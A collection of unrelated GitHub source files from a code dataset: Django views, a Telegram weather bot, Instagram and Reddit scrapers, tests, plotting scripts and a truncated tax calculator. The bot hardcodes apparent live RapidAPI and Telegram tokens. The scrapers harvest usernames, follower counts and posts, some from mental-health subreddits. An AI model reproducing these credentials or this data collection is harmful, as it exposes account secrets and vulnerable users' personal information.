Pair.objects.all()\n        strategies = Strategy.objects.filter(owner__exact=trader)\n        _pairs = details.get('pairs')\n        if not len(_pairs) == 0:            \n            _pairs = _pairs.split(\",\")\n            for p_id in _pairs:\n                p_pair = pairs.get(pk=int(p_id))\n                portfolio.pairs.add(p_pair)\n        _strategies = details.get('strategies')\n        if not len(_strategies) == 0:\n            _strategies = _strategies.split(\",\")\n            for s_id in _strategies:\n                s_strategy = strategies.get(pk=int(s_id))\n                portfolio.strategies.add(s_strategy)\n        return JsonResponse({'message':\"success\"})\n\nclass UpdatePortfolioRemove(TemplateView):\n    model = Portfolio\n\n    def post(self, *args, **kwargs):\n        trader = self.request.user\n        portfolio = self.request.user.trader_portfolio\n        details = self.request.POST\n        pairs = Pair.objects.all()\n        strategies = Strategy.objects.filter(owner__exact=trader)\n        data_type = details.get('type')\n        data_id = details.get('id')\n        if data_type == \"pair\":\n            _pair = pairs.get(pk=int(data_id))\n            portfolio.pairs.remove(_pair)\n        else:\n            _strategy= strategies.get(pk=int(data_id))\n            portfolio.strategies.remove(_strategy)\n        return JsonResponse({})\n\nclass TradeList(TemplateView):\n\n    def get(self, *args, **kwargs):\n        trades = Trade.objects.all()\n        qry = trades.filter(\n            Q(trader__exact=self.request.user)\n        ).distinct()\n        data = []\n        if qry.count() != 0:\n            for trade in qry:\n                shared = '<span class=\"text-danger\"><span style=\"display:none\">1</span><i class=\"fa fa-times\"></></span>'\n                if trade.share:\n                    shared = '<span class=\"text-success\"><span style=\"display:none\">0</span><i class=\"fa fa-check\"></></span>'\n                position = '<span class=\"text-success\"><span style=\"display:none\">1</span><i class=\"fas fa-arrow-up\"></i></span>'\n                if trade.position == SHORT:\n                    position = '<span class=\"text-danger\"><span style=\"display:none\">0</span><i class=\"fas fa-arrow-down\"></i></span>'\n                pips = '<span class=\"text-success\">+ ' + str(trade.pips) + '</span>'\n                if trade.outcome == LOSS:\n                    pips = '<span class=\"text-danger\">- ' + str(trade.pips) + '</span>'\n                status = '<span class=\"badge badge-success p-1\">OPEN <i class=\"fas fa-door-open\" aria-hidden=\"true\"></i></span>'\n                if trade.status == CLOSED:\n                    status = '<span class=\"badge badge-warning p-1\">CLOSED <i class=\"fas fa-door-closed\" aria-hidden=\"true\"></i></span>'\n                else:\n                    pips = '---'\n                data.append({\n                    'pair': trade.pair.name,\n                    'strategy': trade.strategy.name,\n                    'position': position,\n                    'pips': pips,\n                    'shared': shared,\n                    'traded': trade.traded.strftime('%d-%b-%Y'),\n                    'status': status,\n                    'detail': '<a href=\"/trade/' + str(trade.pk )+ '/detail\"><i class=\"fa fa-eye\"><i></a>'\n                })\n\n        final = {\n            'data': data\n        }\n        return JsonResponse(final)\n\n\nclass PlaceTrade(TemplateView):\n    model = Trade\n\n    def post(self, *args, **kwargs):\n        data = {}\n        response = self.request.POST\n        _pair = response.get('pair')\n        pair = Pair.objects.get(pk=int(_pair))\n        position = response.get('position')\n        _share = response.get('share')\n        if _share == 'true':\n            share = True\n        else:\n            share = False\n        _strategy = response.get('strategy')\n        strategy = Strategy.objects.get(pk=int(_strategy))\n        status = response.get('status')\n        if status == CLOSED:\n            outcome = response.get('outcome')\n            pips = int(response.get('pips'))\n        else:\n            outcome = OPEN\n            pips = None\n        description = response.get('description')\n        Trade.objects.create(\n            pair=pair,\n            position=position,\n            share=share,\n            strategy=strategy,\n            status=status,\n            outcome=outcome,\n            pips=pips,\n            description=description,\n            trader=self.request.user\n        )\n        data['message'] = \"success\"\n        return JsonResponse(data)\n\nclass TradeDetail(DetailView):\n    model = Trade\n    pk_url_kwarg = 'trade_id'\n\nclass AddFollowUp(TemplateView):\n    model = Trade\n    \n    def post(self, *args, **kwargs):\n        data = {}\n        trade = get_object_or_404(Trade, pk=int(self.kwargs.get('trade_id')))\n        response = self.request.POST\n        description = response.get('description')\n        if trade.status == OPEN:\n            status = response.get('status')\n            if status == CLOSED:\n                outcome = response.get('outcome')\n                pips = int(response.get('pips'))\n                trade.status=status\n                trade.outcome=outcome\n                trade.pips=pips\n                trade.save()\n        TradeFollowUp.objects.create(\n            trade=trade,\n            description=description,\n            poster=trade.trader\n        )\n        return JsonResponse({})\n\nclass AddChart(UpdateView):\n    model = Trade\n    form_class = TradeChartsForm\n    pk_url_kwarg = 'trade_id'\n    template_name = 'trade/charts-form.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        return context\n\n    def post(self, request, *args, **kwargs):\n        trade = get_object_or_404(Trade, pk=self.kwargs.get('trade_id'))\n        form_class = self.get_form_class()\n        form = self.get_form(form_class)\n        chart_before = request.FILES.get('chart_before')\n        chart_after = request.FILES.get('chart_after')\n        if chart_after:\n            trade.chart_after = chart_after\n        if chart_before:\n            trade.chart_before = chart_before\n        trade.save()\n        return redirect('trade:trade-detail', trade_id=trade.pk)\n\nclass StrategiesList(TemplateView):\n\n    def get(self, *args, **kwargs):\n        strategies = Strategy.objects.all()\n        qry = strategies.filter(\n            Q(owner__exact=self.request.user)\n        ).distinct()\n        data = []\n        trades = Trade.objects.all()\n        if qry.count != 0:\n            for strategy in qry:\n                traded = trades.filter(\n                    Q(strategy__exact=strategy) & Q(trader__exact=self.request.user)\n                ).distinct()\n                open_trades = traded.filter(status__exact=OPEN)\n                closed_trades = traded.filter(status__exact=CLOSED)\n                won = closed_trades.filter(outcome__exact=GAIN)\n                lost = closed_trades.filter(outcome__exact=LOSS)\n                lost_pips = lost.aggregate(Sum('pips'))\n                won_pips = won.aggregate(Sum('pips'))\n                total = traded.count()\n                if closed_trades.count() != 0:\n                    rate = str(round(won.count()/closed_trades.count() * 100, 2))+ \" %\"\n                else:\n                    rate = \"---\"\n                shared = '<span class=\"text-danger\"><i class=\"fa fa-times\"></></span>'\n                if strategy.share:\n                    shared = '<span class=\"text-success\"><i class=\"fa fa-check\"></></span>'\n                data.append({\n                    'name': strategy.name,\n                    # 'shared': shared,\n                    'trades': total,\n                    'open': open_trades.count(),\n                    'closed': closed_trades.count(),\n                    'wins': won.count(),\n                    'losses': lost.count(),\n                    'rate': rate,\n                    'pipsGained': won_pips['pips__sum'],\n                    'pipsLost': lost_pips['pips__sum'],\n                    'detail': '<a href=\"/trade/strategy/' + str(strategy.pk )+ '/detail\"><i class=\"fa fa-eye\"><i></a>',\n                })\n        final = {\n            'data': data\n        }\n        return JsonResponse(final)\n\nclass StrategyCreate(TemplateView):\n    \n    def post(self, *args, **kwargs):\n        data = {}\n        details = self.request.POST\n        name = details.get('name')\n        description = details.get('description')\n        Strategy.objects.create(\n            name=name,\n            description=description,\n            share=False,\n            owner=self.request.user\n        )\n        data['message'] = \"success\"\n        return JsonResponse(data)\n\n","repo_name":"aurthurm/sagetrader","sub_path":"apps/trade/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14411016432","text":"from telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nimport requests\nimport json\n\n\nRAPIDAPI_API_KEY = \"0307470954mshf3c1844bf9a9c4cp130446jsn944800e9f971\"\nTELEGRAM_API_KEY = '1374283548:AAHO3h2OVUTXK4znw1A0fQvy-51Wu5bIA-0'\n\ndef hello(update, context):\n    update.message.reply_text(\n        'Hello {}, введите дату в формате ММ-ДД(например, 01-24), чтобы узнать прогноз погоды'\n            .format(update.message.from_user.first_name))\n\n\ndef echo(update, context):\n    \"\"\"Echo the user message.\"\"\"\n    url = \"https://weatherbit-v1-mashape.p.rapidapi.com/forecast/daily\"\n\n    querystring = {\"units\": \"M\", \"lang\": \"ru\", \"lat\": \"57.626549\", \"lon\": \"39.893885\"}\n\n    headers = {\n        'x-rapidapi-host': \"weatherbit-v1-mashape.p.rapidapi.com\",\n        'x-rapidapi-key': RAPIDAPI_API_KEY\n    }\n\n    response = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n    json_data = json.loads(response.text)\n    output_dict = [x for x in json_data['data'] if x['valid_date'] == '2020-'+update.message.text]\n    forecast = '''  Температура: {0}\n        Вероятность осадков: {1}\n        Давление: {2}\n        Влажность: {3} '''.format(output_dict[0]['temp'], output_dict[0]['pop'], output_dict[0]['pres'], output_dict[0]['rh'])\n    update.message.reply_text(forecast)\n\n\nupdater = Updater(TELEGRAM_API_KEY, use_context=True)\ndp = updater.dispatcher\ndp.add_handler(CommandHandler('hello', hello))\ndp.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))\n\nupdater.start_polling()\nupdater.idle()\n","repo_name":"iam-iam/yaroslavl_weather_telegram_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8183946190","text":"#V8 - Fullworking Verions if there are enough posts\r\n#V9 - This will not break if the user asks for more posts than available. \r\n#Still need to test v9\r\n\r\n\r\nimport ssl\r\nimport csv\r\nimport os \r\nimport requests \r\nimport urllib\r\nimport pandas as pd\r\nimport datetime\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.webdriver.common.keys import Keys \r\nfrom  bs4 import BeautifulSoup\r\nimport urllib.request, urllib.parse, urllib.error\r\nimport time\r\n\r\ndef get_posts(tag, user_count):\r\n\t\r\n\t'''Getting html of page to be scrape for\r\n\threfs that will get me the user names'''\r\n\r\n\tprint(\"getting page\")\r\n\turl = \"https://www.instagram.com/explore/tags/\" + tag + \"/\"\r\n\ttry:\r\n\t\tdriver = webdriver.PhantomJS()\r\n\t\tdriver.get(url)\r\n\t\tprint(\"successfully requested site\")\r\n\texcept:\r\n\t\tprint(\"Unable to reach site\")\r\n\t\tquit()\r\n\t\r\n\t'''Loading Page until we have enough posts'''\r\n\tsoup = BeautifulSoup(driver.page_source, 'lxml')\r\n\ttry:\r\n\t\tposts = soup.find_all(\"div\", class_ = [\"_mck9w\",\"_gvoze\",\"_f2mse\"])\r\n\texcept:\r\n\t\t#print(\"No links found\")\r\n\t\tquit()\r\n\r\n\tpost_count = len(posts)\r\n\ttabdown(driver, 22) #This is the number of tabs needed to hit the load more button\r\n\tSCROLL_PAUSE_TIME = 2\r\n\t\r\n\t#Get Scroll Height\r\n\tlast_height = driver.execute_script(\"return document.body.scrollHeight\")\r\n\t\r\n\twhile post_count < user_count:\r\n\t\tprint(\"going to scroll\")\r\n\t\ttry:\r\n\t\t\t#Scroll to bottom of page\r\n\t\t\tdriver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n\t\t\t#Wait to load page\r\n\t\t\ttime.sleep(SCROLL_PAUSE_TIME)\r\n\r\n\t\texcept: \r\n\t\t\tprint(\"User asks for more posts than currently found, only retrieve: \", len(posts))\r\n\t\t\treturn [posts, len(posts)]\r\n\t\t\t\r\n\t\tsoup = BeautifulSoup(driver.page_source, 'lxml')\r\n\t\tposts = soup.find_all(\"div\", class_ = [\"_mck9w\",\"_gvoze\",\"_f2mse\"])\r\n\t\tpost_count = len(posts)\r\n\t\tprint(\"len of posts: \", post_count)\r\n\t\ttime.sleep(5)\r\n\r\n\tprint(\"Length of posts: \",(len(posts)))\r\n\t\r\n\t#print(len(posts))\r\n\t#print(type(posts))\r\n\tprint(\"All Done\")\r\n\tdriver.close()\r\n\treturn [posts, user_count]\r\n\r\ndef tabdown(driver, num):\r\n\tactions = ActionChains(driver)\r\n\tfor i in range(num):\r\n\t\tactions = actions.send_keys(Keys.TAB)\r\n\tactions.perform()\r\n\ttime.sleep(3)\r\n\tload_button = driver.find_element_by_link_text(\"Load more\")\r\n\tload_button.send_keys(Keys.ENTER)\r\n\ttime.sleep(3)\r\n\t\t\r\n\r\ndef get_href(html_posts):\r\n\t'''Creating list of hrefs from html retrieved from the tags page'''\r\n\t\r\n\tprint('Getting hrefs from the posts')\r\n\thref_list = list()\r\n\tsoup = BeautifulSoup(str(html_posts), 'html.parser')\r\n\ttry:\r\n\t\threfs = soup.find_all('a', href=True)\r\n\texcept:\r\n\t\tprint(\"No hyperlinks found\")\r\n\t\tquit()\r\n\r\n\tfor a in hrefs:\r\n\t\thref_list.append(a['href'])\r\n\t\r\n\tprint(len(href_list))\r\n\tprint(type(href_list))\r\n\tprint(\"Done getting posts\")\r\n\treturn(href_list)\r\n\r\n\r\ndef get_user_info(href_from_posts, set_count, hash_tag):\r\n\t'''looping through list to get usersname'''\r\n\t\r\n\tuser_list = list()\r\n\r\n\tcounts = 0\r\n\tfor ref in href_from_posts:\r\n\t\tuser_account = list()\r\n\t\tif counts < set_count:\r\n\t\t\t#Connecting to photo's page\r\n\t\t\tref_link = ref.split('?tagged')\r\n\t\t\tuser_link = ref_link[0]\r\n\t\t\tfull_link = 'https://www.instagram.com' + user_link\r\n\t\t\tprint('Searching full_link')\r\n\t\t\tprint(\"Current Count: \", counts)\r\n\t\t\ttry:\r\n\t\t\t\tdriver = webdriver.PhantomJS()\r\n\t\t\t\tdriver.get(full_link)\r\n\t\t\texcept:\r\n\t\t\t\tprint(\"Link does not work\")\r\n\t\t\t\tcontinue\r\n\r\n\t\t\t#Get username\r\n\t\t\ttry:\r\n\t\t\t\tusername = get_username(driver)\r\n\t\t\t\tprint(\"username: \", username)\r\n\t\t\t\tuser_account.append(username)\t\t\t\t \r\n\t\t\texcept:\r\n\t\t\t\tusername = \"No user name found\"\r\n\t\t\t\tuser_account.append(username)\r\n\t\t\t\tprint(\"Could not find username\")\r\n\t\t\t\tpass\r\n\t\t\t\r\n\t\t\t#Get postDate\r\n\t\t\ttry: \r\n\t\t\t\tpostDate = get_postDate(driver)\r\n\t\t\t\tprint(\"PostDate: \", postDate)\r\n\t\t\t\tuser_account.append(postDate)\r\n\t\t\texcept:\r\n\t\t\t\tpostDate = \"No post date found\"\r\n\t\t\t\tuser_account.append(postDate)\r\n\t\t\t\tprint(\"Could not find post date\")\r\n\t\t\t\tpass\r\n\r\n\t\t\t#Get number of followers\r\n\t\t\ttry:\r\n\t\t\t\tfollowers = get_followers(username)\r\n\t\t\t\tprint(\"Followers: \", followers)\r\n\t\t\t\tuser_account.append(followers)\r\n\t\t\texcept:\r\n\t\t\t\tfollowers = \"No followers found\"\r\n\t\t\t\tuser_account.append(followers)\r\n\t\t\t\tprint(\"Could not find followers\")\r\n\t\t\t\tpass\r\n\r\n\t\t\tuser_account.append(hash_tag)\r\n\t\t\t\r\n\t\t\tuser_list.append(user_account)\r\n\t\t\tdriver.close()\r\n\t\t\tcounts += 1\r\n\t\telse:\r\n\t\t\tprint(user_list)\r\n\t\t\treturn user_list\r\n\r\n\r\ndef save_to_file(my_list, tag):\r\n\tprint(my_list)\r\n\tnow = datetime.datetime.now()\r\n\tcurrent_date = str(now.year) + \"-\" + str(now.month) + \"-\" + str(now.day)\r\n\twith open(current_date + \"_\" + tag + \".txt\", \"w+\") as fname:\r\n\t\tfor account in my_list:\r\n\t\t\tprint(\"account: \", account)\r\n\t\t\tfor i in account:\r\n\t\t\t\tfname.write('\"' + i + '\"' + ',')\r\n\t\t\tfname.write('\\n')\r\n\t\tfname.close()\r\n\r\ndef get_username(driver):\r\n\t'''Get username from html'''\r\n\tsoup = BeautifulSoup(driver.page_source, 'lxml')\r\n\tusername = soup.find('a', class_=['_2g7d5', 'notranslate', '_iadoq']).getText()\r\n\t#print(username)\r\n\treturn username\r\n\r\ndef get_postDate(driver):\r\n\t'''Get Post Date from html'''\r\n\tsoup = BeautifulSoup(driver.page_source, 'lxml')\r\n\t#print(soup.prettify)\r\n\tpostDate = soup.find('time', class_=['_p29ma','_6g6t5'])\r\n\tpostDate = postDate.get('title')\r\n\t#print(postDate)\r\n\treturn postDate\r\n\r\ndef get_followers(username):\r\n\t'''Getting the number of followers from the user's page'''\r\n\r\n\t#Connecting to user's page\r\n\tuser_page = \"https://www.instagram.com/\"+username+\"/\"\r\n\ttry:\r\n\t\tdriver = webdriver.PhantomJS()\r\n\t\tdriver.get(user_page)\r\n\t\tprint(\"successfully requested site\")\r\n\texcept:\r\n\t\tprint(\"Unable to reach site\")\r\n\t\tfollowers = \"No followers found\"\r\n\t\treturn followers\r\n\r\n\t#Find User Stats\r\n\tsoup = BeautifulSoup(driver.page_source, 'lxml')  \r\n\tuser_stats = soup.find_all('span', class_=[\"_fd86t\", \"_he56w\"])\r\n\tdriver.close()\r\n\t\r\n\t#Get Followers from user stats\r\n\tfollowers_info = str(user_stats[1])\r\n\r\n\tsoup = BeautifulSoup(followers_info, \"lxml\")\r\n\tfollowers = soup.find('span', class_=['_fd86t', '_he56w']).getText()\r\n\treturn followers\r\n\t\r\ndef HashTag():\r\n\t\t\r\n\tprint(\"This is version 9\")\r\n\tuser_tag = input(\"Input Tag (exclude the #):\" )\r\n\tuser_count = input(\"How many users would you like: \")\r\n\ttry:\r\n\t\tuser_count = int(user_count)\r\n\texcept:\r\n\t\tprint(\"Count input must be a numeric value\")\r\n\t\tquit()\r\n\r\n\tget_posts_returnValue = get_posts(user_tag, user_count)\r\n\tposts = get_posts_returnValue[0]\r\n\tuser_count = get_posts_returnValue[1] - 1 #because the function count starts at 0\r\n\tprint(\"user_count in HashTag function: \", user_count)\r\n\thref_posts = get_href(posts)\r\n\tusers = get_user_info(href_posts, user_count, user_tag)\r\n\tsave_to_file(users, user_tag)\r\n\tprint(\"All done, check you folder for the .csv\")\r\n\r\nif __name__==\"__main__\":\r\n\tHashTag()\r\n\t#get_followers(\"mws575\") \r\n\r\n","repo_name":"mws75/UserName_by_Tag","sub_path":"HashTag_console_v7.py","file_name":"HashTag_console_v7.py","file_ext":"py","file_size_in_byte":6778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"34032446537","text":"import os\nimport pandas as pd\nimport requests\nimport time\nimport random\nfrom langdetect import detect\nfrom datetime import datetime, date, timedelta\n\n\nclass Scraper:\n    def __init__(self, output_path):\n        self.output_path = output_path\n\n    def date2timestamp(self, data):\n        return int(time.mktime(datetime.strptime(data, \"%Y/%m/%d\").timetuple()))\n\n    def next_day(self, data):\n        tmrw = datetime.strptime(data, \"%Y/%m/%d\") + timedelta(days=1)\n        return tmrw.strftime('%Y/%m/%d')\n\n    def list_of_days(self, start_date, end_date):\n        delta = end_date - start_date\n        days = []\n        for i in range(delta.days + 1):\n            day = start_date + timedelta(days=i)\n            days.append(str(day).replace('-', '/'))\n        return days\n\n    def scrape_reddit(self, subreddit_name, start_date, end_date, size=1000):\n        \"\"\"\n        Parameters\n        ----------\n        subreddit_name: subreddit name - string\n        start_date: starting date - string \"%Y/%m/%d\"\n        end_date: end date - string \"%Y/%m/%d\"\n        size: maximum number of posts per day\n        Returns\n        -------\n        dataframe containing subreddit, user, date and post for each post in subreddit\n        \"\"\"\n        start = self.date2timestamp(start_date)\n        end = self.date2timestamp(end_date)\n        # use the pushshift api to extract out data\n        url = 'https://api.pushshift.io/reddit/search/submission/?subreddit={}&sort=desc&sort_type=created_utc&after={}&before={}&size={}'.format(\n            subreddit_name, start, end, size)\n        try:\n            posts = requests.get(url).json()\n            posts = posts['data']\n        except:\n            time.sleep(30)\n            posts = requests.get(url).json()\n            posts = posts['data']\n\n        dataframe = pd.DataFrame(columns=['subreddit', 'user', 'date', 'post'])\n\n        for post in posts:\n            if 'selftext' in post:  # check if selftext parameter exists\n                text = post['selftext']\n                if text != \"\" and text != '[removed]' and '[deleted]' not in text:  # further check if selftext is not empty\n                    try:\n                        if detect(text) == 'en':\n                            dataframe = dataframe.append(\n                                {'subreddit': subreddit_name, 'user': post['user'], 'date': start_date,\n                                 'post': post['title'] + ' ' + post['selftext']}, ignore_index=True)\n                    except:\n                        continue\n        return dataframe\n\n    def save_reddit_post(self, subreddit_list, start_date, end_date, size):\n        \"\"\"\n        Parameters\n        ----------\n        subreddit_list: list of subreddits\n        start_date: starting date - datetime.date(Y, m, d)\n        end_date: end date - datetime.date(Y, m, d)\n        size: maximum number of posts per day\n\n        Returns\n        -------\n\n        \"\"\"\n        # for each subreddit in the given list save a csv file containing 4 columns: subreddit, user, date, post\n        for subr in subreddit_list:\n            last_s = None\n            subreddit_df = pd.DataFrame(columns=['subreddit', 'user', 'date', 'post'])\n            days_local = self.list_of_days(start_date, end_date)\n            while subreddit_df.shape[0] < 30000 and days_local:\n                idx = random.randint(0, len(days_local) - 1)\n                date_start = days_local.pop(idx)\n                date_end = self.next_day(date_start)\n                dataframe = self.scrape_reddit(subr, date_start, date_end, size=size)\n                subreddit_df = pd.concat([subreddit_df, dataframe])\n                time.sleep(0.5)\n                if subr != last_s:\n                    if last_s:\n                        print(f\"{last_s} done \\n\")\n                        print(\"_\" * 25)\n                    print(f\"starting with {subr}\")\n                    last_s = subr\n                print(subreddit_df.shape[0])\n            subreddit_df.to_csv(os.path.join(self.output_path, '{}.csv'.format(subr)), index=False)\n\n\n# create Reddit folder and Subreddits folder\nos.mkdir('Reddit')\nos.mkdir(os.path.join(\"Reddit\", \"Subreddit\"))\n\noutput_dir = os.path.join(\"Reddit\", \"Subreddit\")\n\nsubreddit = ['ADHD', 'autism', 'Bipolar', 'BipolarReddit', 'Borderline', 'BorderlinePDisorder', 'CPTSD', 'OCD', 'ptsd',\n             'schizoaffective', 'schizophrenia', 'anxiety', 'depression', 'EDAnonymous', 'socialanxiety',\n             'suicidewatch', 'lonely', 'addiction', 'alcoholism', 'AMA', 'conspiracy', 'datascience', 'divorce',\n             'fitness', 'guns', 'jokes', 'legaladvice', 'LifeProTips', 'linux', 'NoStupidQuestions', 'parenting',\n             'relationships', 'teaching', 'unpopularopinion']\n\nscraper = Scraper(output_path=output_dir)\nscraper.save_reddit_post(subreddit_list=subreddit,\n                         start_date=date(2020, 1, 1),\n                         end_date=date(2022, 3, 15),\n                         size=10000)\n\n# create a dataset with posts of all subreddits\ndf = pd.DataFrame()\nfor sub in subreddit:\n    sub_df = pd.read_csv(os.path.join(output_dir, '{}.csv'.format(sub)))\n    df = df.append(sub_df)\n\n# save full dataset\ndf.to_csv(os.path.join(\"Reddit\", \"subreddit_data.csv\"), index=False)\n","repo_name":"alessia96/computational_social_science","sub_path":"reddit_scraper.py","file_name":"reddit_scraper.py","file_ext":"py","file_size_in_byte":5244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28796778577","text":"#!/usr/bin/env python\n\nimport unittest\n\nimport numpy as np\n\nfrom melospy.feature_machine.feature_module_append import MelopyFeatureModuleAppend\n\n\nclass TestModuleAppend( unittest.TestCase ):\n    \"\"\" Unit test for append module \"\"\"\n  \n    def testAbsModuleFunctionality(self):\n        \"\"\" Test append module \"\"\"\n        m = MelopyFeatureModuleAppend()\n        m.setParameterValue(\"inputVec\", [np.array([26, 1, -1, -23])])\n        m.setParameterValue(\"value\", 0)\n        m.process()\n        self.assertEqual(np.array_equal(m.getParameterValue(\"outputVec\")[0], np.array([26, 1, -1, -23, 0])), True)\n\n        m.setParameterValue(\"inputVec\", [np.array([26, 1, -1, -23])])\n        m.setParameterValue(\"mode\", \"first\")\n        m.process()\n        self.assertEqual(np.array_equal(m.getParameterValue(\"outputVec\")[0], np.array([26, 1, -1, -23, 26])), True)\n        \n        m.setParameterValue(\"inputVec\", [np.array([26, 1, -1, -23])])\n        m.setParameterValue(\"mode\", \"last\")\n        m.process()\n        self.assertEqual(np.array_equal(m.getParameterValue(\"outputVec\")[0], np.array([26, 1, -1, -23, -23])), True)\n        \n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"klausfrieler/melospy","sub_path":"tests/feature_machine/test_module_append.py","file_name":"test_module_append.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11312956711","text":"import matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport numpy as np\n\n\n\n#\n# plot for part b\n# r= np.array([1/64, 1/16, 1/4, 4, 16, 64])\n# data = np.load('mean_Anees_custom_PF.npy')\n# colors=cm.rainbow(np.linspace(0, 1, 10))\n# for j in range(6):\n#     for i in range(10):\n#         plt.scatter(np.log(r[j]),np.log(data[j][i]),color=colors[i])\n#\n# plt.xlabel('log_e(r)')\n# plt.ylabel('log_e(Mean position error)')\n# plt.title('log-log plot of mean position error vs r value')\n# plt.legend(('trail 1','trail 2','trail 3','trail 4','trail 5', 'trail 6','trail 7','trail 8','trial 9','trail 10'))\n#\n# plt.figure()\n# for j in range(6):\n#         plt.scatter(r[j],data[j].mean(),color= 'b')\n# plt.xlabel('r')\n# plt.ylabel('Mean position error')\n# plt.title('Plot of mean position error vs r value')\n# plt.legend((\"Mean of 10 trial runs\",))\n#\n# plt.show()\n\n## plot for part C\n# r= np.array([1/64, 1/16, 1/4, 4, 16, 64])\n# data = np.load('mean_Anees_default.npy')\n# print(data.shape)\n# for j in range(6):\n#     plt.scatter(np.log(r[j]),np.log(data[0][j]),color='b')\n#     plt.scatter(np.log(r[j]),np.log(data[1][j]),color='r')\n#\n# plt.xlabel('log_e(r)')\n# plt.ylabel('log_e(error)')\n# plt.title('log-log plot of mean position and ANEES error vs r value')\n# plt.legend((\"Means Position error\",'ANEES error'))\n#\n# plt.figure()\n# for j in range(6):\n#         plt.scatter(r[j],data[0][j].mean(),color= 'b')\n#         plt.scatter(r[j],data[1][j].mean(),color= 'r')\n# plt.xlabel('r')\n# plt.ylabel('error')\n# plt.title('Plot of mean position adn ANEES error vs r value')\n# plt.legend((\"Means Position error\",'ANEES error'))\n#\n# plt.show()\n\n#plot part d\nr= np.array([1/64, 1/16, 1/4, 4, 16, 64])\npar=np.array([20,50,500])\ndata = np.load('mean_Anees_particles_default.npy')\ncolors= np.array([['r','g'],['c','m'],['y','k']])\nprint(colors.shape)\n\n\nprint(data.shape)\nfor i in range(3):\n    plt.plot(np.log(r),np.log(data[:,i,0]),color=colors[i,0])\n    plt.plot(np.log(r),np.log(data[:,i,1]),color=colors[i,1])\n\n\nplt.xlabel('log_e(r)')\nplt.ylabel('log_e(Error)')\nplt.title('log-log plot of mean position adn ANEES error vs r value')\nplt.legend(('Mean Position error N=20','ANEES error N=20','Mean Position error N=50','ANEES error N=50','Mean Position error N=100','ANEES error N=100'))\n\nplt.figure()\nfor i in range(3):\n    plt.plot((r),(data[:,i,0]),color=colors[i,0])\n    plt.plot((r),(data[:,i,1]),color=colors[i,1])\n\nplt.xlabel('r')\nplt.ylabel('Error')\nplt.legend(('Mean Position error N=20','ANEES error N=20','Mean Position error N=50','ANEES error N=50','Mean Position error N=100','ANEES error N=100'))\n\n\nplt.show()\n\n","repo_name":"dd292/Probabilistic_Robotics","sub_path":"hw2/hw2/plot_data.py","file_name":"plot_data.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70436788854","text":"# Solution for task: https://www.codewars.com/kata/559e10e2e162b69f750000b4/\n\nfrom collections import Counter\n\n\ndef dominator(arr: list) -> int:\n    if arr:\n        num, count = Counter(arr).most_common(1)[0]\n        if count > len(arr) // 2:\n            return num\n        else: return -1\n    else: return -1\n","repo_name":"ZaytsevNS/python_codewars","sub_path":"7KYU/dominator.py","file_name":"dominator.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"}
+{"seq_id":"71387463092","text":"from django.shortcuts import render,get_object_or_404,redirect\nfrom .models import *\nfrom .forms import *\n# Create your views here.\n\ndef Home(request):\n    userdate = Biodata.objects.all()\n    context = {\"data\":userdate}\n    return render(request,'home.html',context)\n\n\ndef Create(request):\n\n    if request.method == 'POST':\n       \n        userdate = Biodata.objects.create(\n            first_name=request.POST['first_name'],\n            last_name=request.POST['last_name'],\n            email=request.POST['email'])\n        userdate.save()\n        \n\n    return render(request,'create.html')\n\n\ndef Update(request,id):\n    # get user record with pk as id  \n    data = get_object_or_404(Biodata, pk=id)\n\n    # form instance will be what record is been read\n    form = BiodataForm(instance=data)\n\n    if request.method == \"POST\":\n        # form data is what ever is been sent in the form \n        form = BiodataForm(request.POST, instance=data)\n        # if the form is valid the form data should be saved to our db\n        if form.is_valid():\n            form.save()\n            # then return to our home page\n            return redirect ('home')\n    context = {\n        \"form\":form\n    }\n    return render(request, 'updateform.html', context)\n\ndef Delete(request,id):\n    # get object delete and redirect to home page\n     data = get_object_or_404(Biodata, pk=id)\n     data.delete()\n     return redirect ('home')\n\n     ","repo_name":"kaslong015/ahub","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30493802648","text":"from math import inf\n\n#tax brackets\n\"\"\"\n37%, for incomes over $539,900 ($647,850 for married couples filling jointly);\n35%, for incomes over $215,950 ($431,900 for married couples filing jointly);\n32% for incomes over $170,050 ($340,100 for married couples filing jointly);\n24% for incomes over $89,075 ($178,150 for married couples filing jointly);\n22% for incomes over $41,775 ($83,550 for married couples filing jointly);\n12% for incomes over $10,275 ($20,550 for married couples filing jointly).\n\"\"\"\n\ndef main():\n    agi = int(input(\"What is your last year's Adjusted Gross Income? \"))\n    credits = int(input(\"How much was your last year's credits? \"))\n    deductions = int(input(\"How much was your last year's deductions? \"))\n    payments = int(input(\"How much was your widthholding/payments last year? \"))\n    print(\"single = S\")\n    print(\"Married filling joint = MFJ\")\n    status = input(\"What status are you filling? \").replace(\" \", \"\").upper()\n    if status == \"S\":\n        tax_return = single_tax_calc(agi, deductions, payments, credits)\n    else:\n        tax_return = MFJ_tax_calc(agi, deductions, payments, credits)\n\n    if tax_return >= 0:\n        print(f\"Your tax return is 